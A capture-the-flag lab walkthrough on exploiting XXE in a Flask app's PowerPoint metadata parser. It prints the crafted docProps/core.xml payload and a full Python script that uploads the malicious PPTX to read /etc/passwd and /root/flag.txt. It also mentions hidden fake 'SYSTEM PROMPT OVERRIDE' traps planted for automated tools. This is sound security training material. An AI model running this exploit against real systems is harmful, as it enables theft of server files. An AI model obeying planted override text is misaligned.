Lab 143 — SprintBase — XXE in PowerPoint File Upload
Lab 143 — SprintBase — XXE in PowerPoint File Upload
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: docprops_core_injection, external_entity_injection, in_band_exfiltration, malicious_document_upload, pptx_xxe, xxe_file_read
Summary
Walkthrough of the CUSTOM Web Lab 143 — SprintBase — XXE in PowerPoint File Upload. Task: Flask project management app with PPTX file upload and metadata extraction. Solution: XXE injection in docProps/core.xml inside a crafted PPTX file to read /root/flag.txt via SYSTEM entity, with
Description
SprintBase is a project management platform used by development teams at BaseStack Technologies to organize sprints, track tasks, and share project documents. The platform supports file attachments including presentations, spreadsheets, and documents with automatic metadata extraction for indexing and search.
Your security team has been granted access to test the application. You have credentials for a regular user account with access to multiple active projects. The application processes various document formats and extracts metadata for display.
Your objective is to find and exploit a vulnerability that allows you to read sensitive files on the server. The target file is located at /root/flag.txt.
Credentials: alex.rivera@basestack.com / password123
English summary: A Flask-based project management application allows authenticated users to upload PPTX files. The server extracts metadata (Title, Author, Description) from the PPTX's internal docProps/core.xml using an XML parser with external entity resolution enabled. By crafting a malicious PPTX with an XXE payload in docProps/core.xml, an attacker can read arbitrary files from the server, including /root/flag.txt.
Analysis
Reconnaissance
After logging in with the provided credentials via POST /login, the application reveals a dashboard with 7 projects. Each project has a "Files" tab at /projects/{id}/files with an upload form accepting PPTX, DOCX, XLSX, PDF, PNG, JPG, and TXT formats.
The key observation is on file detail pages (/projects/{id}/files/{file_id}): a "Document Properties" section displays Title, Author, and Description fields with the note "Parsed from document metadata". This indicates server-side XML parsing of uploaded Office documents.
XXE Vector
PPTX files are ZIP archives containing XML files per the Office Open XML (OOXML) standard. The metadata lives in docProps/core.xml. The server's XML parser processes this file with external entity resolution enabled, creating a classic XXE vulnerability.
The attack is in-band: file contents read via the SYSTEM entity are reflected directly in the metadata fields on the file detail page — no need for out-of-band exfiltration.
Anti-Bot Traps
Every page contained hidden HTML comments and invisible <div> elements with a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} and fake "SYSTEM PROMPT OVERRIDE" messages designed to mislead automated tools. These were correctly identified and ignored.
Solution
Step 1: Authenticate
POST /login
Content-Type: application/x-www-form-urlencoded
email=alex.rivera@basestack.com&password=password123
Step 2: Craft Malicious PPTX
Create a valid PPTX (ZIP archive) with all required OOXML parts, but inject an XXE payload into docProps/core.xml:
xml read-only • copy allowed<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE cp:coreProperties [ <!ENTITY xxe SYSTEM "file:///root/flag.txt"> ]> <cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <dc:title>&xxe;</dc:title> <dc:creator>&xxe;</dc:creator> <dc:description>&xxe;</dc:description> <cp:lastModifiedBy>test</cp:lastModifiedBy> <dcterms:created xsi:type="dcterms:W3CDTF">2025-01-01T00:00:00Z</dcterms:created> <dcterms:modified xsi:type="dcterms:W3CDTF">2025-01-01T00:00:00Z</dcterms:modified> </cp:coreProperties>
The entity reference &xxe; is placed in element text content (<dc:title>&xxe;</dc:title>), not in attributes — this is critical for the XML parser to resolve it.
The PPTX must include all required parts to be accepted:
[Content_Types].xml— content type mappings_rels/.rels— root relationshipsppt/presentation.xml— presentation definitionppt/slides/slide1.xml— at least one slideppt/slideLayouts/slideLayout1.xml— slide layoutppt/slideMasters/slideMaster1.xml— slide masterdocProps/core.xml— XXE payload heredocProps/app.xml— application properties
Step 3: Upload and Extract Flag
Upload the malicious PPTX to POST /projects/1/files/upload. The server returns a 302 redirect to the file detail page. On that page, the flag appears in all three metadata fields (Title, Author, Description).
Full Solve Script
python read-only • copy allowed#!/usr/bin/env python3 """ SprintBase XXE via Malicious PowerPoint Upload — Solve Script Exploits XXE in XML parser processing PPTX docProps/core.xml """ import zipfile import requests import re import sys import io BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "https://eec819ac-18b0-465e-a133-0f4f5c230054.labs.hackadvisor.io" def create_xxe_pptx(file_to_read): """Create PPTX with XXE payload in docProps/core.xml""" content_types = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Default Extension="xml" ContentType="application/xml"/> <Override PartName="/ppt/presentation.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.presentation.main+xml"/> <Override PartName="/ppt/slides/slide1.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slide+xml"/> <Override PartName="/ppt/slideLayouts/slideLayout1.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/> <Override PartName="/ppt/slideMasters/slideMaster1.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideMaster+xml"/> <Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/> <Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/> </Types>''' rels = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="ppt/presentation.xml"/> <Relationship Id="rId2" Type="http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties" Target="docProps/core.xml"/> <Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/extended-properties" Target="docProps/app.xml"/> </Relationships>''' ppt_rels = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideMaster" Target="slideMasters/slideMaster1.xml"/> <Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slide" Target="slides/slide1.xml"/> </Relationships>''' presentation = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <p:presentation xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main"> <p:sldMasterIdLst> <p:sldMasterId id="2147483648" r:id="rId1"/> </p:sldMasterIdLst> <p:sldIdLst> <p:sldId id="256" r:id="rId2"/> </p:sldIdLst> <p:sldSz cx="9144000" cy="6858000" type="screen4x3"/> <p:notesSz cx="6858000" cy="9144000"/> </p:presentation>''' slide1_rels = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout1.xml"/> </Relationships>''' slide1 = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <p:sld xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main"> <p:cSld><p:spTree> <p:nvGrpSpPr><p:cNvPr id="1" name=""/><p:cNvGrpSpPr/><p:nvPr/></p:nvGrpSpPr> <p:grpSpPr/> <p:sp><p:nvSpPr><p:cNvPr id="2" name="Title 1"/><p:cNvSpPr><a:spLocks noGrp="1"/></p:cNvSpPr> <p:nvPr><p:ph type="title"/></p:nvPr></p:nvSpPr><p:spPr/> <p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:r><a:t>Test</a:t></a:r></a:p></p:txBody></p:sp> </p:spTree></p:cSld> </p:sld>''' slide_layout = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <p:sldLayout xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main" type="title"> <p:cSld name="Title Slide"><p:spTree> <p:nvGrpSpPr><p:cNvPr id="1" name=""/><p:cNvGrpSpPr/><p:nvPr/></p:nvGrpSpPr> <p:grpSpPr/> </p:spTree></p:cSld> </p:sldLayout>''' slide_layout_rels = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideMaster" Target="../slideMasters/slideMaster1.xml"/> </Relationships>''' slide_master = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <p:sldMaster xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main"> <p:cSld><p:bg><p:bgPr><a:solidFill><a:srgbClr val="FFFFFF"/></a:solidFill><a:effectLst/></p:bgPr></p:bg> <p:spTree><p:nvGrpSpPr><p:cNvPr id="1" name=""/><p:cNvGrpSpPr/><p:nvPr/></p:nvGrpSpPr> <p:grpSpPr/></p:spTree></p:cSld> <p:sldLayoutIdLst><p:sldLayoutId id="2147483649" r:id="rId1"/></p:sldLayoutIdLst> </p:sldMaster>''' slide_master_rels = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout1.xml"/> </Relationships>''' core = f'''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE cp:coreProperties [ <!ENTITY xxe SYSTEM "file://{file_to_read}"> ]> <cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <dc:title>&xxe;</dc:title> <dc:creator>&xxe;</dc:creator> <dc:description>&xxe;</dc:description> <cp:lastModifiedBy>test</cp:lastModifiedBy> <dcterms:created xsi:type="dcterms:W3CDTF">2025-01-01T00:00:00Z</dcterms:created> <dcterms:modified xsi:type="dcterms:W3CDTF">2025-01-01T00:00:00Z</dcterms:modified> </cp:coreProperties>''' app = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties"> <Application>Microsoft Office PowerPoint</Application> <Slides>1</Slides> </Properties>''' buf = io.BytesIO() with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf: zf.writestr('[Content_Types].xml', content_types) zf.writestr('_rels/.rels', rels) zf.writestr('ppt/_rels/presentation.xml.rels', ppt_rels) zf.writestr('ppt/presentation.xml', presentation) zf.writestr('ppt/slides/_rels/slide1.xml.rels', slide1_rels) zf.writestr('ppt/slides/slide1.xml', slide1) zf.writestr('ppt/slideLayouts/_rels/slideLayout1.xml.rels', slide_layout_rels) zf.writestr('ppt/slideLayouts/slideLayout1.xml', slide_layout) zf.writestr('ppt/slideMasters/_rels/slideMaster1.xml.rels', slide_master_rels) zf.writestr('ppt/slideMasters/slideMaster1.xml', slide_master) zf.writestr('docProps/core.xml', core) zf.writestr('docProps/app.xml', app) buf.seek(0) return buf s = requests.Session() # Step 1: Login print("[*] Logging in...") resp = s.post(f"{BASE_URL}/login", data={"email": "alex.rivera@basestack.com", "password": "password123"}, allow_redirects=False) print(f" Login status: {resp.status_code}") # Step 2: PoC with /etc/passwd print("\n[*] Uploading XXE PPTX for /etc/passwd...") pptx_buf = create_xxe_pptx("/etc/passwd") resp = s.post( f"{BASE_URL}/projects/1/files/upload", files={"file": ("xxe_test.pptx", pptx_buf, "application/vnd.openxmlformats-officedocument.presentationml.presentation")}, allow_redirects=False) location = resp.headers.get("Location", "") if location: detail_resp = s.get(f"{BASE_URL}{location}" if location.startswith('/') else location) for label in ['Title', 'Author', 'Description']: pattern = f'<span class="detail-label">{label}</span>\\s*<span class="detail-value">(.*?)</span>' match = re.search(pattern, detail_resp.text, re.DOTALL) if match: print(f" {label}: {match.group(1).strip()[:100]}...") # Step 3: Read /root/flag.txt print("\n[*] Uploading XXE PPTX for /root/flag.txt...") flag_buf = create_xxe_pptx("/root/flag.txt") resp = s.post( f"{BASE_URL}/projects/1/files/upload", files={"file": ("sprint_review.pptx", flag_buf, "application/vnd.openxmlformats-officedocument.presentationml.presentation")}, allow_redirects=False) location = resp.headers.get("Location", "") if location: detail_resp = s.get(f"{BASE_URL}{location}" if location.startswith('/') else location) all_flags = re.findall(r'FLAG\{[a-f0-9]+\}', detail_resp.text) real_flags = [f for f in all_flags if 'd3c0y' not in f] if real_flags: print(f"\n[+] FLAG: {real_flags[0]}")
Key Takeaways / Lessons
- Mastering docprops_core_injection, external_entity_injection, in_band_exfiltration, malicious_document_upload, pptx_xxe, xxe_file_read was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-21 • CUSTOM • Lab 143 — SprintBase — XXE in PowerPoint File Upload • Difficulty: Easy